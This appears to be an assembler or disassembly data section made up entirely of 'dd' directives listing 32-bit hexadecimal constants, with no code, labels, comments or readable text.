		dd 79C3DBC2h, 0CD0B0EA4h, 2D2E8D21h, 4D5342FBh,	0EAE9C4A0h
		dd 3BE3FFF1h, 0B800FB6Eh, 0A15E2DADh, 0F8122EAEh, 0B404C18Bh
		dd 81000415h, 0E65722D7h, 65AE5D4Eh, 0A8C6AD2Ch, 55581FF7h
		dd 89C609EBh, 90FEE8D5h, 971FB857h, 67A7DB33h, 0FF980B8Dh
		dd 59F505Fh, 0CFE690E3h, 1F71C2E0h, 55679102h, 608C3A70h
		dd 0A222657Bh, 62A6436Bh, 1F3DA008h, 79688709h,	0B9DF6B49h
		dd 77F2AABDh, 2958A673h, 0F771012Ah, 421A72FCh,	1163AEBh
		dd 444CFC02h, 3D637190h, 966BB580h, 0E580F0F9h,	5B5C24DEh
		dd 90A7B86Eh, 0A463D09h, 0DEA1AEEAh, 2A0E02B5h,	0F05BB970h
		dd 0D4E80A32h, 80AE9F5Ah, 1E89F9F1h, 0B6FEAA4Eh, 822D613Ah
		dd 0F05199ECh, 84B2E3A8h, 90465B4Ch, 978A7F92h,	6EA4689h
		dd 684776CFh, 843EDA00h, 282C1225h, 0FD7F33Fh, 0AD9D3160h
		dd 42300F01h, 0C62A45D5h, 7FE9E15Eh, 37E11167h,	6E2BD1FFh
		dd 0F1E4160Ah, 0AA0085B2h, 0CFFAD7A3h, 0BF00CE4Ch, 1BE83E56h
		dd 0A112F958h, 60121EA6h, 0CC40705Ch, 7817E7h, 3750B4C1h
		dd 29C6CDDFh, 10073000h, 8D01D039h, 0F51E695Dh,	54441379h
		dd 233EC156h, 3A05C59Dh, 0F3811644h, 59320C87h,	5EF97550h
		dd 0AD6FBF85h, 0FD2E55B1h, 54F0AD41h, 0A8EC4Eh,	815FB6C5h
		dd 0B792A1CFh, 2E80633Bh, 20CF9364h, 0B1E90FEFh, 1F169D0Dh
		dd 0A2BDA720h, 0D973C1F3h, 26F02A26h, 7E02824Eh, 9D141AD4h
		dd 1DF18Ah, 478CA502h, 0AE025055h, 8AFF7E2Fh, 0EB4874DCh
		dd 31816835h, 0CFEFFFB5h, 8A0EEB74h, 8B096F47h,	0ABEAF7F9h
		dd 0F070327Bh, 62EF091Ch, 60D373E1h, 0DF58D228h, 1B6D1072h
		dd 0A869C44Bh, 8C18FCD5h, 7B870304h, 8AC1E832h,	0BD0404BDh
		dd 876BD38Ah, 0B0780F70h, 1F0CE6EEh, 92E1495Ch,	12DBFF51h
		dd 25875D80h, 0F904DA0Dh, 62B2EFACh, 6D158C1h, 95B5B78Bh
		dd 0BB56E2C2h, 0BBEEDCh, 8A18675Eh, 5624D225h, 0D3C04A9Ch
		dd 2789EA33h, 0B44C5F52h, 99782345h, 0CF80318Fh, 8F559498h
		dd 2B0D82Dh, 20AC92Ch, 0C070E6h, 8998AA14h, 0E4B9B154h
		dd 28B7159h, 98DC30BFh,	98AF742Ch, 95015DF0h, 4413CD27h
		dd 0AFBB04AFh, 0E85CAC2Fh, 0F15E989Eh, 9003B8FBh, 11B520B3h
		dd 69848F97h, 3CC1F7FAh, 0BE69FD29h, 65950981h,	2B4EA009h
		dd 0F6D98AC8h, 80BF0FD1h, 29C14212h, 9C0DC9B5h,	2F20A5FDh
		dd 9E448B0Fh, 87CE88B5h, 0D8444Bh, 4195160Dh, 2053361Eh
		dd 994F8B02h, 0E00283A2h, 272CC7CFh, 93485F32h,	0BECDF9B7h
		dd 18B8F105h, 8E49F527h, 40912629h, 5E8A15D8h, 0CD6440E2h
		dd 0A0008EDh, 0F80EB566h, 13394770h, 8413F4Dh, 61A543DEh
		dd 0FF08087Eh, 8C0F03C5h, 0BB02A2B9h, 1AD96230h, 2344A074h
		dd 0F1853142h, 0A59444F6h, 60FE1320h, 61C7E701h, 8C499589h
		dd 41694C60h, 95612F22h, 3B093C6Eh, 69034B6Ah, 34365992h
		dd 25E0F3E0h, 0BDC14B9Ch, 74391BF1h, 55390B3Ch,	7667FECBh
		dd 29058C3Fh, 0F8728B9h, 2A3D315Ah, 36FCE1E5h, 8FCAF077h
		dd 8D97507h, 2890F98h, 0FCEDB784h, 0B7FEE6FAh, 0EB95E011h
		dd 23A760FEh, 2B0E12C9h, 0FF2405C0h, 57B120BAh,	69598D29h
		dd 255F26C2h, 0D3164109h, 0F7806121h, 4EFD2FF0h, 0C40041ACh
		dd 397A66F9h, 4D9379BAh, 0E208C8Ah, 14243AFDh, 656F17B1h
		dd 2522BC40h, 95C8EE12h, 4E0E1DB5h, 0E47247D6h,	0AFBC40F4h
		dd 0B8857DADh, 5AB11FBCh, 0DEE7C0E6h, 8B6D5CA0h, 0BC00FB5Dh
		dd 8A1600F8h, 1D4676F3h, 9497C223h, 3A6C45C3h, 9DC55AA8h
		dd 0E2EC5235h, 0F09D46CFh, 996D0C4h, 3580A040h,	2FDC4F5h
		dd 79BBE381h, 0DB5E78CEh, 0E1FFF561h, 7DB8623Dh, 12A29090h
		dd 0C5A59E74h, 55F71AABh, 3CEB1081h, 77292FDBh,	12F32BC2h
		dd 25809D70h, 90E55DE3h, 7D279E1Dh, 0A0809DB7h,	3BC1E96Fh
		dd 317B099Ch, 0D202A76Eh, 0B14D60DBh, 0B38893E0h, 66650097h
		dd 37C6439Eh, 0D1209D03h, 0D710B52Fh, 0CE00E0F6h, 0E7226ACBh
		dd 257E6B9Dh, 0C8E18903h, 185DF481h, 1F5B4424h,	97315225h
		dd 95D0890Bh, 97332122h, 0D54D8425h, 0E17FB600h, 6B2F25EEh
		dd 1C182370h, 8A72400Ch
		dd 458D8937h, 0C625B196h, 604F8D6Eh, 3EB76608h,	234A5073h
		dd 0A1C87013h, 6AEB0993h, 4CDD69C2h, 45399818h,	0FEFD2F0Bh
		dd 94C21700h, 5FADF5D7h, 85BD2312h, 0B9013689h,	1030A7Dh
		dd 25AADF5h, 1A7F0368h,	402D5C77h, 2115E12Ch, 1FF3E900h
		dd 0FC83C423h, 7A62055Eh, 405F26FDh, 0CDD9293Bh, 0C57C9E90h
		dd 0FCA38097h, 977057Ch, 8EAEBF66h, 1C59857Bh, 0D1014618h
		dd 1FABD5B1h, 0B3C4706Bh, 8B9A977Fh, 44094920h,	0DE26D757h
		dd 31C559B9h, 0E982D2FCh, 3D550171h, 8B570077h,	81F38064h
		dd 619A9A97h, 0FC2EF931h, 21449201h, 82BC6ECEh,	207AFF4Eh
		dd 8DB81200h, 81D52C60h, 7BE7D304h, 88BC20E4h, 0F3DE8CAh
		dd 15EF896Fh, 0B65EF589h, 0CF0B7502h, 648E5E02h, 0A401EC89h
		dd 83A888EDh, 0E5ADA002h, 83EBCBB5h, 0BF89FA83h, 79BC05A4h
		dd 252CD890h, 1790A6B2h, 0F6C684DEh, 839FE0CAh,	6D2B0029h
		dd 0DB81F135h, 782511C2h, 5A7AE633h, 68B6C88Bh,	14562202h
		dd 66525071h, 5A18005Ch, 0FF0CE77h, 2D09DC1Ch, 0CAEBE3B7h
		dd 0DD6BA543h, 8071E5C0h, 0DD214BCBh, 0C09A1A4Fh, 0AB1C4CE5h
		dd 0EA1F0FE4h, 606190F8h, 7B6154B1h, 0A49C5514h, 0DFC2319Ah
		dd 0BD6361DDh, 6DF2F0C3h, 8059255Eh, 282E33EDh,	769D5905h
		dd 0D200F4FFh, 0A1418EDEh, 9F85CB2Fh, 33416EF6h, 9F26DBDh
		dd 13B1AA02h, 0D53AE902h, 7DD21653h, 0C7951C70h, 0FE9D742Fh
		dd 4B127E29h, 31BC947Fh, 0D01088E0h, 29C7C20Bh,	97766E67h
		dd 1A441F14h, 0CABB3B66h, 9B30248h, 30DB225Eh, 6C9D6EC0h
		dd 0BD172B68h, 8ACB0C05h, 0A56A4Fh, 0E5543121h,	4BC226F6h
		dd 890BCC4Dh, 84A91ECh,	0A6D71EF2h, 3210A0EAh, 2C1C013Fh
		dd 0BB085EBFh, 0F6B2F14h, 85001A23h, 97690F83h,	448D4CCBh
		dd 984A8AC0h, 58FC1649h, 97880704h, 8AB59E0h, 5016318Fh
		dd 0AAD088h, 0D51C96D4h, 0B5E3A968h, 48A9594Dh,	7A1127Bh
		dd 15BC31ADh, 0F33E258Ch, 5500BF51h, 7B1D8EE2h,	594700D0h
		dd 0BE5F3051h, 9A97BC86h, 0D737571Dh, 0A0DF3405h, 94398A02h
		dd 0D6EF5E84h, 1E3D1946h, 34A7E282h, 0B25F899Fh, 0A7495C2Eh
		dd 19584C42h, 0ED4A1A97h, 272AC099h, 190F2F5Fh,	24201B10h
		dd 0A5EF2911h, 0D8412C82h, 971F4192h, 0BD032E90h, 48165D27h
		dd 979CDC72h, 265B0E8Bh, 0EA2FE70h, 8AAFA342h, 92AF3B2h
		dd 7125E380h, 9D3CBBFCh, 1EE013A9h, 317D0933h, 1879665Bh
		dd 0F800FF18h, 60FE6CCBh, 0D793C6B9h, 0E646E138h, 1025F583h
		dd 0DEF56C3Ch, 810F8731h, 0F984213Bh, 80FE7C96h, 0D0494A65h
		dd 67A00E5h, 0A4F6BB02h, 5B013972h, 8B665650h, 93A5FFEh
		dd 48DBF8C1h, 20181659h, 0CE3FAE25h, 0A4F497EBh, 0FEA6007Eh
		dd 5A7117E6h, 904F7E26h, 87D2481Ch, 2E88DDE2h, 0A908ACACh
		dd 0D296190Ch, 7377D250h, 200E5941h, 1841D940h,	0A83B8E1Dh
		dd 92B7924Bh, 1CE76A5Fh, 15404371h, 2E9FB1BBh, 0C236A40Dh
		dd 0EC77E3F8h, 77A7605Ch, 4582AB37h, 5CDE8BE7h,	2F665156h
		dd 0B7E8F1EDh, 0F617804h, 72B8FBBFh, 7401F8C7h,	0C67BD279h
		dd 78A7F375h, 7C02F1FFh, 0F8157375h, 6A5960h, 263D8725h
		dd 84BD3C1Fh, 610919CAh, 6D7A785Eh, 80BB67ABh, 904F8C2Dh
		dd 0E4C96025h, 0E577635h, 0B0593499h, 53AC1D81h, 0F3C2E8F6h
		dd 0DEA47C9Dh, 0BD4BA601h, 0E80C6E14h, 290720D2h, 0F90045A7h
		dd 0B601E485h, 39505B3h, 68312D3Eh, 9CC08825h, 0B954BD29h
		dd 8B015B83h, 0AE94BFC1h, 216A3FD9h, 309F6DE5h,	0BA01BD76h
		dd 1F202785h, 3978890Fh, 0B17C9C80h, 35975F28h,	9E1891DCh
		dd 42A540C2h, 503569BCh, 43D446Eh, 13E6C124h, 2DC73921h
		dd 0CF429091h, 1A8C6827h, 0E8DD15EFh, 0CD2C9261h, 0BC4A6DAAh
		dd 5F6102B8h, 0D06BBFF9h, 142D42C1h, 501CA6ACh,	0BA664760h
		dd 0C68B81F8h, 8BC82B61h, 0D0A10028h, 0BC7121CDh, 0C8078A5Dh
		dd 74A53ABBh, 0C7AFF680h, 615A30CCh, 0A052BFE3h, 0AE284534h
		dd 0CACF499Bh, 1ABCF380h, 44D23F6Eh, 0BB15FE08h, 762B8B25h
		dd 8FFF8418h, 0FD90E20Eh, 3F2D2574h, 12451F91h,	8045DE2Eh
		dd 63AF52F4h, 258BB06Dh, 847B2ED5h, 52D126BAh, 0A11474DEh
		dd 127F5DF5h, 8855B266h, 2989BD8Eh, 13FA61B5h, 37026A25h
		dd 734F803Bh, 0D2434AD7h, 90735192h, 0CD8CD85Fh, 5A343FC4h
		dd 67441900h, 0A7E0A52Eh, 0BC899049h, 0B2410161h, 0FA8A4BB4h
		dd 80552C52h, 804892FEh, 5C5100CDh, 27CC0C06h, 5D1649C1h
		dd 0FF735FB5h, 8942AC83h, 27579D85h, 71E91B0Bh,	0CD36628Fh
		dd 0E9EDF804h, 0F25EEB8h, 39FFC68Ch, 0A584DCAAh, 0B96D06D5h
		dd 0E69AD381h, 848C1483h, 903B15A0h, 417EDE9Fh,	0E85046B7h
		dd 67880AE9h, 0A5E300D9h, 6DF59743h, 0ED954B4Fh, 951DA2C3h
		dd 4C417C98h, 61C5382Ch, 46E7DB12h, 0D53FAA4Eh,	2E6C1B01h
		dd 30CA87DCh, 37B5FF6Bh, 0D951008Bh, 3F8D91A5h,	150B815Ch
		dd 0BC4C1D19h, 8C2902AAh, 0DE767B8Bh, 39C4275Ch, 1DD90E53h
		dd 0F1B02AD0h, 0E634640Bh, 0E795970h, 74EEB87Eh, 0BA057600h
		dd 2C00CDBDh, 9E531410h, 9A8FA26h, 5671E41Fh, 9DB06FE6h
		dd 5B04F6F5h, 0FB2532B9h, 8912A866h, 35E3DDBDh,	2D20BA2Ah
		dd 105760C1h, 648D0905h, 0B861533Dh, 0B5137A34h, 0C8FB30F9h
		dd 5A9380DAh, 70899709h, 42FA4134h, 0BB200533h,	1A34CF27h
		dd 15AEE931h, 60D39275h, 573AAFh, 0DCDDEF7Dh, 0B05C1B1Ch
		dd 6CA52202h, 0E104D410h, 0CB230182h, 85953D22h, 0BC0A3130h
		dd 8B220909h, 90296120h, 0C50809F2h, 387209DBh,	2C891844h
		dd 8DED45B5h, 0D01760E9h, 754B8D01h, 7FB91001h,	61CD66D4h
		dd 3027352Eh, 63688F7Dh, 0D91DF41Ch, 67455D44h,	358A2BB8h
		dd 0E51885Ch, 1D09842Fh, 80A031B8h, 0D89838D3h,	9FA7014Bh
		dd 0B83CF700h, 0BBEF1687h, 0CB697B03h, 0C2805F1Ah, 0C23D5CA4h
		dd 0FB124BF5h, 89B150FCh, 56FE4616h, 0ED25031Ch, 44D5C9F7h
		dd 1CF50BC5h, 4D824FE2h, 0BA57E0F8h, 4192EDDAh,	4115C6C1h
		dd 12C09ABh, 2C7C5FB9h,	0E36BBE5Ah, 0EFDF4904h,	4E93F22Fh
		dd 0CB5F28ABh, 229B0558h, 0EB60950Dh, 65745ECEh, 0BA78E902h
		dd 5C613119h, 90BF01ACh, 70265914h, 1F4171C5h, 0DC0A5EF2h
		dd 30AC0C00h, 0FF32D0A0h, 571E5442h, 6F700950h,	0C454E539h
		dd 53B962C9h, 9B3ED016h, 89B2B40Ch, 8805FAC1h, 511247BFh
		dd 0CAE52B7Bh, 0C4E3DB2Bh, 6DAFCB96h, 0C86A7BFAh, 0CAA0AA01h
		dd 6E9F7AF4h, 94156420h, 594C0910h, 0FF02EE98h,	317D06C9h
		dd 58F44A8Ah, 0A23900D2h, 649DB663h, 4C4A9AEFh,	4280289Bh
		dd 0EF3FBBEBh, 0A8528F07h, 0AD805327h, 0A01F26D5h, 4B4985BEh
		dd 0E234A61Bh, 0D07E301Ah, 6FECC004h, 33C26905h, 4904D159h
		dd 24DC3954h, 96162B8h,	2B740839h, 7A4171E9h, 7260EBCDh
		dd 0ABB1EACh, 47F38020h, 4DAD60D4h, 181F1CEBh, 0AE81A229h
		dd 354CAC48h, 3A2B292Fh, 0F6FB6084h, 3E19E061h,	7E799CB8h
		dd 1C011946h, 86627234h, 0A3C2468h, 60FD7C82h, 61D98B60h
		dd 941A4E97h, 23F7D46Dh, 0A7A8007Ah, 0B91D149Ah, 0E1FF3154h
		dd 2F19A580h, 0D4424838h, 0F53C4C91h, 12013D6h,	10294A44h
		dd 121ED98Dh, 32F2FB8Bh, 0F6FCFF89h, 63819FF6h,	2E605CB7h
		dd 0E90FEE0Eh, 95E570D8h, 0AA47DDA5h, 16A05AF7h, 5D386D23h
		dd 0A04D1371h, 55A8A584h, 5FF553C1h, 5B9AD356h,	0F169C75Ch
		dd 0F7670016h, 0E36D41A2h
		dd 0F3055925h, 81D886Eh, 70889017h, 9E1403ADh, 29176EA1h
		dd 0DD507A90h, 3FA58716h, 4AB327E0h, 900ED28Eh,	5ADC68F6h
		dd 6A42C288h, 2A0091BDh, 8480C98Bh, 1EC82577h, 1CAF61h
		dd 3982EF68h, 0BF09FD66h, 0D556D4F6h, 0B808101Dh, 6A02DE02h
		dd 930976ACh, 0E94E565Ah, 3740814Dh, 2E43B276h,	9419D3Ah
		dd 0E97010BEh, 60E66FB5h, 9F6C9A0Fh, 8E27730Ah,	210ECF8h
		dd 0B37C124Ah, 7C8E40D7h, 0CD8CA64Bh, 0F6EB0481h, 0B809B295h
		dd 0A26FD3ACh, 2926C201h, 2B30A195h, 6E7B4BDDh,	261005B2h
		dd 0EFE989B4h, 117D53BCh, 5626B09h, 9D3C87EEh, 0DD934F9Ah
		dd 96649EFEh, 82A702FFh, 0A615072h, 0FD122EF8h,	9F227A85h
		dd 0BC5105C7h, 59165F94h, 43802BDBh, 141319C0h,	41E8D409h
		dd 0BEB2987Bh, 24687753h, 25582A18h, 0EBBC0AC4h, 66E600DCh
		dd 0B5F43B99h, 103ADC4h, 4CCE68DDh, 20AB84B3h, 66AA1FEAh
		dd 6DBAD502h, 5DD6BF4Eh, 4F312FA1h, 87F96BACh, 0A102C6B8h
		dd 9531BF06h, 5E15C29Dh, 4879607Bh, 0D525EEB1h,	9F4EE4F2h
		dd 0CB8073B7h, 0D78B2808h, 8DCC3932h, 0E70E274Eh, 7ABD7063h
		dd 141CB1AEh, 56407C82h, 0DD41726Dh, 0C8505A0Eh, 0B300A04Bh
		dd 0F1FEFCFh, 70899D5h,	0D2619536h, 0E2819468h,	0AD790948h
		dd 50E68511h, 5D79598h,	0B57BE0A9h, 2A34B181h, 9101E66Eh
		dd 0EA355C0Eh, 0B5F36F9h, 376128B3h, 0FC485EAh,	609E228Dh
		dd 0C7727Dh, 80AE1BE6h,	0AD67D933h, 0A6261200h,	9C0CB6A0h
		dd 0C981B55Fh, 2F61CA1Bh, 2857CA2Ch, 9598BD8Bh,	1D93D467h
		dd 0BA09D688h, 2DE9305Dh, 0C8A0F17h, 3C8506A1h,	42E7DD4Eh
		dd 77935CCBh, 0D46D7649h, 0D8369500h, 0DE45BA7Dh, 78689B1Fh
		dd 0CD014102h, 0BF13D88h, 4EC2319Dh, 0C61E02BCh, 2C4A8624h
		dd 6951B05Eh, 0C1B38114h, 72AA0409h, 0EE96FE50h, 37394D6Bh
		dd 3308812Eh, 2B09A1BDh, 0DB80DC2Bh, 1176C428h,	17F0609Fh
		dd 0D70AC754h, 0BF79A919h, 0DB78D6A3h, 0D0EC0293h, 0B6C6106Eh
		dd 3B47D9D5h, 80759D17h, 4DE7818Dh, 18DA8612h, 0AF400CF3h
		dd 0F2124A85h, 916BD3DEh, 0B9B18D00h, 0FC75F730h, 0E060C838h
		dd 44F1DCF6h, 1041BC7Eh, 0B61052Ch, 39F91DBDh, 0FE32C24Ah
		dd 2203616Ch, 9378A99Fh, 0A022F69Bh, 0B5CA92FDh, 805342C5h
		dd 0C941A007h, 0BF79F976h, 0AD38085h, 0E8319351h, 0BD361660h
		dd 0BFAF211h, 8BB7C5h, 4A22DFEAh, 0ED180120h, 825DC465h
		dd 9D8E68ABh, 0EF7AE441h, 0F6BAF850h, 5B0CE789h, 37A7BD79h
		dd 7609007Fh, 6C0AEE8Ch, 0C7804DB1h, 7C8C66Ah, 6DA803B8h
		dd 9F676B44h, 4EA91DA0h, 0E6590325h, 45EEB5EFh,	97F4E822h
		dd 0D6040C37h, 0EA8228D0h, 8008F1FBh, 1814D381h, 89974A16h
		dd 0C17A6DE5h, 2FF9FBACh, 4C09E135h, 0EF89FFD0h, 0BD95E470h
		dd 0FAEA8471h, 0A1708164h, 8D29002Bh, 0FCD5A631h, 0F22D5AB5h
		dd 8D3498A1h, 8004822Ch, 0F974AFDAh, 26A09CE6h,	210966FEh
		dd 0AFCF5554h, 4AFE9C95h, 0FBBF1901h, 4DEA94C5h, 6018C4A4h
		dd 0B0CFF1Ch, 2360B1F7h, 0D84C775Ch, 610540C5h,	552DBDB8h
		dd 6983D10Bh, 0D4B254h,	0DA96EADEh, 7636BB74h, 127CA34Ch
		dd 0DDBC0145h, 18D539E2h, 581AF3B2h, 0D9C04496h, 3B3AC915h
		dd 0D5509F2Dh, 5B966C91h, 0C16FC08Ah, 0B3219241h, 18147121h
		dd 21199D71h, 5B2B2389h, 912AE5F0h, 16864829h, 0F761527Dh
		dd 0AC18490Ah, 0D5641FD3h, 0AA85660h, 89F0B58Eh, 14D1FA8Bh
		dd 0D5F35745h, 1E66E928h, 0A13368h, 8AB8C973h, 7E1D50C5h
		dd 0E6C0359Ah, 5FF120F9h, 0F1A9D09h, 4B91C50Fh,	0D17388h
		dd 0A88B6B78h, 0A428BB66h, 0AE7B230Eh, 0F6BF47A0h, 0E040D6F1h
		dd 16511D30h, 0F0792CDCh, 54EA59Bh, 9F023489h, 972870E1h
		dd 978D059Eh, 0ACD07967h, 2B13DC8h, 253ACF81h, 88D51C94h
		dd 0E98595AFh, 0E6AFF203h, 5196F1A7h, 7EDC82Ah,	0A77A6C00h
		dd 829B1C5Ch, 94711D89h, 1BB44E9Ch, 0C18B3242h,	79B775h
		dd 0B0D2991Fh, 8E0B5D18h, 291ADE06h, 0A5F973D3h, 0DA0040B5h
		dd 2CE64552h, 31581663h, 0FB2404ADh, 78C4CDh, 8F34976Fh
		dd 463961C1h, 3BAD0006h, 0EDEB3CB8h, 687D27A6h,	0FA410A52h
		dd 92818D2Ah, 7CC45B04h, 0AAA3A9B1h, 6C8D5857h,	61653801h
		dd 0FE23B902h, 0B8CFC46Ah, 8AE75B42h, 7B7470A7h, 3F0AACA9h
		dd 0AD10B356h, 0AADE3504h, 0FFBCE3ADh, 7209327Fh, 0D003AFF2h
		dd 200A9057h, 0C0BD1DB5h, 0AAF64448h, 0B4B77D8Eh, 0FFB8C483h
		dd 50D89288h, 0F006036Ah, 659D2956h, 4ABBBD9Ch,	0A3699D08h
		dd 3E72DBC2h, 850BA8E0h, 5F89C62Dh, 3109ADCCh, 0D313A19Dh
		dd 0F7B78E37h, 22D1CBh,	1B74F4B0h, 6DAD7C51h, 835DB5DDh
		dd 940E593Ah, 743DFF8h,	6A58DE0Bh, 0CBAFCD02h, 4E6B4475h
		dd 0BB89C890h, 0CD6F50DEh, 8A9CC1DFh, 33FE41B1h, 40337619h
		dd 595BE9A4h, 3F89B7A3h, 4B53470Bh, 252C978h, 99279492h
		dd 17F8754Ah, 0F37F0FAAh, 5D585840h, 4FAF4E00h,	0FF16577Dh
		dd 95891A46h, 315ECF71h, 14A8469h, 0A340FC4Bh, 0C3130DBFh
		dd 150056C5h, 0E5B266BBh, 95EC9528h, 8858D59Bh,	0FEDB2780h
		dd 0F0C4304Ch, 39AF34A9h, 0E6A6F90h, 0C6F43600h, 0BDBEB22h
		dd 0C56D60E7h, 93F72C4Ah, 0CCBDC64Bh, 0B8DB69F7h, 2DA11D4Fh
		dd 46635DEAh, 6EC22879h, 16325122h, 7B1155B5h, 0B0EE1F02h
		dd 20D48C00h, 0B56A1082h, 0C96E9054h, 975B7855h, 141A46B1h
		dd 0ADDC04BAh, 8D861D2Bh, 4A0C28C1h, 796EF461h,	0C94C1E42h
		dd 24511509h, 0F305EC5Ch, 9BB5D65h, 37D2D91Ch, 8109EB42h
		dd 33D270EFh, 79F78025h, 0BD898466h, 2544E99Dh,	0B24C486h
		dd 5E3EDD91h, 0BC4BD08h, 0F5748A22h, 0C82BF861h, 0ED7C743Ah
		dd 0D10B7694h, 49A1B529h, 0D517A24Dh, 0F491C5DFh, 0E64EB3B1h
		dd 66601A81h, 0E2816E8Eh, 32A0A641h, 45568961h,	59525E2Ah
		dd 0FF8B1218h, 88521F11h, 50BD932h, 3065E95Bh, 6357E786h
		dd 271A1B9Dh, 0E44D874h, 4F634E45h, 0CE12C500h,	0CA2BC0A5h
		dd 989E6D00h, 0EB07C13Dh, 0A696270Eh, 0C497184Ch, 5A1D0037h
		dd 0BA9B74FAh, 2B09A6F3h, 30D71C0h, 511A25A8h, 8709FCA3h
		dd 0E7BF886Ah, 0A5F3CF00h, 0E405E013h, 27309D81h, 0FC825D54h
		dd 4E5E283Ah, 6BBA8901h, 2AA930E9h, 0FB08F360h,	0CBE52483h
		dd 85B5E168h, 62B90134h, 6E4F786Ch, 7B101AFh, 7367CF9Bh
		dd 0DBCC132Fh, 0CFF89250h, 0C790A79Ch, 857B01FCh, 0BF01A1B6h
		dd 6095F3B9h, 0F81B222Eh, 2947925Eh, 12BAE5E4h,	0F27BE7BDh
		dd 456F3114h, 0E6F6AAD1h, 405E5FE2h, 8072374Bh,	72981DEDh
		dd 0E4E52EDEh, 392E9D0Bh, 8A896D31h, 0A5447BFDh, 0D00066B5h
		dd 16BD2DB2h, 8F620E45h, 1E4332Fh, 0D74BBD09h, 2C8099BCh
		dd 2388A375h, 0A7559797h, 9A45E4CDh, 0A400C4A2h, 0FE5D886Dh
		dd 0F2479D3h, 0D949238Ch, 0C1071FF9h, 6A7AF155h, 8346209Bh
		dd 1919A12Fh, 0C42ED204h, 0A1BD879Eh, 2F0537CFh, 8B566F28h
		dd 0AED489D2h, 820C53A5h, 0B85C9AEFh, 0D6B5424Ch, 38CE25E7h
		dd 1D4E096h, 639D6F14h,	6FBD29DBh, 0E1FFF243h, 4EAEE58Bh
		dd 31C4339Bh, 0E23CBC2Dh, 0D3812015h, 0C321C2B1h, 581D6454h
		dd 82149958h, 149749D0h, 0C6D16B3Dh, 0CDE0CE4Dh, 7D693C56h
		dd 0C9A30536h, 92998589h, 0F1DF609Dh, 0F702751h, 5C8D0569h
		dd 0DDDF0140h, 2F3AA882h, 1AA95562h, 0D4A976h, 8EBADCD3h
		dd 0B8295E25h, 41D16A2Ch
		dd 552FCD09h, 1791F3B7h, 0D5254C8Eh, 0B99080D8h, 894F3B56h
		dd 0AE9824FFh, 6AFE4574h, 49F600DBh, 0D238F3F4h, 5F62EE59h
		dd 4014A3FCh, 0C5C9B9B4h, 2D6FF190h, 0F67B00D7h, 0BFC297Ah
		dd 4CC5BEBCh, 0DA377D78h, 0C0A1B490h, 202A5153h, 7D0A398Fh
		dd 2DB9E400h, 0D807A8B2h, 0B5F001F4h, 5A588968h, 6A439261h
		dd 0D0BCB1E9h, 15204890h, 0F68732Ch, 60A33DCEh,	22151CF2h
		dd 0DEC95B4Ah, 12FD8A7Bh, 9EF16159h, 5FE135D4h,	726E5Ch
		dd 1F6C1A3Ch, 6B080A22h, 27749CF1h, 9FA6CEA5h, 18029335h
		dd 0E1D839C8h, 0BB354525h, 0ADA6532Eh, 0BDBEE8F8h, 8822A510h
		dd 60B2800h, 0CD819B71h, 20739048h, 5F250F05h, 0BF53A7E9h
		dd 7F333051h, 0FDB7172Fh, 798ECDFh, 0DC2F1C30h,	56178236h
		dd 0E1B7CCE6h, 0D8CF721Ch, 6E5F60h, 0CD0F0765h,	0C6E07EF6h
		dd 0EECC5B4Bh, 0B5852629h, 0EEC6A550h, 16F2BF05h, 60BA70DAh
		dd 0E9CF811Bh, 30899732h, 0B0E54CD8h, 1C2D3235h, 745EDF4Dh
		dd 763727h, 0BD9910A7h,	0A91F1CAAh, 0F90363BBh,	94B39605h
		dd 0BD60F8B0h, 5EA0CC10h, 0D66EFE18h, 41B8AAh, 80E852Bh
		dd 3B874395h, 5B1B2A12h, 0C00F12AFh, 4CAC2810h,	60967340h
		dd 5BE7DE53h, 92975F16h, 40204F8Eh, 0DE5D28EAh,	4F732700h
		dd 2682CF1h, 5AFB014Ch,	0F7BF6657h, 84432F17h, 0E8E44FFDh
		dd 5A3BB750h, 0B2F5F65Fh, 0F89A311Dh, 0D0020ADAh, 5785AA7Ch
		dd 0F7865FAEh, 4F177E90h, 3E3750D9h, 1C7DB200h,	0E59050EAh
		dd 0C52C4835h, 37F660A2h, 61B170h, 0B406796h, 0E2F2775Eh
		dd 0B5016BBBh, 61E4250Ch, 9FF86234h, 6D9E9090h,	8A83EA00h
		dd 0C757B43Eh, 0B97B3CE4h, 84CCF34Ah, 2F2CA5D7h, 47845D8Ah
		dd 3FE90514h, 0B8B4FEF7h, 4B9B4D57h, 9B2BC2B1h,	25C9ECA2h
		dd 0A837C079h, 0E026F400h, 5FF9CCDEh, 13C1201Eh, 0C212866Ch
		dd 5F2266Dh, 0AA049185h, 0AA0BBC7Ah, 0D65E6D57h, 0C9FC40D2h
		dd 0DE8A8013h, 91893595h, 292A801Dh, 1DEF90Ch, 2C5C17EBh
		dd 6BB70F91h, 4BB3C2D8h, 0AE328427h, 1412307Bh,	50DCE33Ah
		dd 9613DE9Bh, 7F52C6B7h, 20BAFA34h, 80185D99h, 6CD27D00h
		dd 1971F497h, 78554C72h, 9D04B72Fh, 0B8B3F996h,	2C83FDBh
		dd 1E3AD330h, 6E4FB70Dh, 972D13B0h, 359DAB96h, 0C0321C48h
		dd 9210EFCh, 262D7D95h,	7BE7BA6h, 0B5C3D5BFh, 79F00872h
		dd 1D71B8A3h, 1100A018h, 217341B0h, 5C3D77DFh, 82289D6h
		dd 162D524Ch, 0ED2411F1h, 1EFE0D18h, 5D3C390Ah,	0E5CAB9A5h
		dd 3F4197Ch, 0F04BBB97h, 765A27C2h, 203F9BB5h, 4A66C9C8h
		dd 1F500C1Fh, 0F162DF40h, 5B099169h, 0B220A614h, 1FB1301Bh
		dd 3188D102h, 711E6BFDh, 45500018h, 7FC7B8FCh, 0BF53027h
		dd 0F611FE93h, 54680A04h, 0FFB43C82h, 388A97B4h, 0A300DED2h
		dd 69F57B20h, 1D9DFABDh, 17030880h, 1688A931h, 74C471B5h
		dd 6E4B3CB8h, 89BD05A3h, 77D40185h, 0F98388A8h,	0E0D2E69Fh
		dd 8015FBD5h, 37E36325h, 9A97D3F8h, 97554C59h, 0B7EE5909h
		dd 0D18C2F03h, 8838A95Fh, 20540A1h, 42F9A804h, 0BDDD048h
		dd 269B731h, 5CD38054h,	0B72DDF4Ch, 74CD8B78h, 340BF615h
		dd 0F950AA5Eh, 56B389E5h, 93F13D5Dh, 42B6A38Bh,	830F125Ah
		dd 6253CA22h, 0BE920C4Ch, 4D98975Bh, 94973CB7h,	89104425h
		dd 38B59D4Fh, 0E31ACD78h, 0C142B311h, 3D553909h, 0A2003FFAh
		dd 682A1658h, 609DB174h, 979E9F87h, 7A94294Eh, 0BC3301D4h
